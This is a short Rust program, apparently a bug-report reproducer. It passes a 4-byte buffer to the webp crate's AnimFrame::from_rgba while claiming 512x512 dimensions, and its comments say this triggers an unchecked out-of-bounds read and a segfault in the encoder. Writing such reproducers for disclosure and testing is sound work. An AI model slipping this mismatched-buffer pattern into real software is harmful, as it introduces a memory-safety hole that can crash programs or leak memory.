use webp::{AnimEncoder, AnimFrame, WebPConfig};
fn main() {
// Dimensions the encoder is told the frame is.
let width: u32 = 512;
let height: u32 = 512;
// small buffer
let tiny = vec![0u8; 4];
let mut config = WebPConfig::new().expect("config");
config.lossless = 0;
config.quality = 90.0;
let mut encoder = AnimEncoder::new(width, height, &config);
encoder.set_loop_count(0);
// doesn't check the bounds of `tiny`; assumes its width*height*4 bytes long, which it is not.
encoder.add_frame(AnimFrame::from_rgba(&tiny, width, height, 0));
// OOB READ HERE
let _ = encoder.try_encode().expect("encode");
unreachable!("OOB read + SIGSEGV before here")
}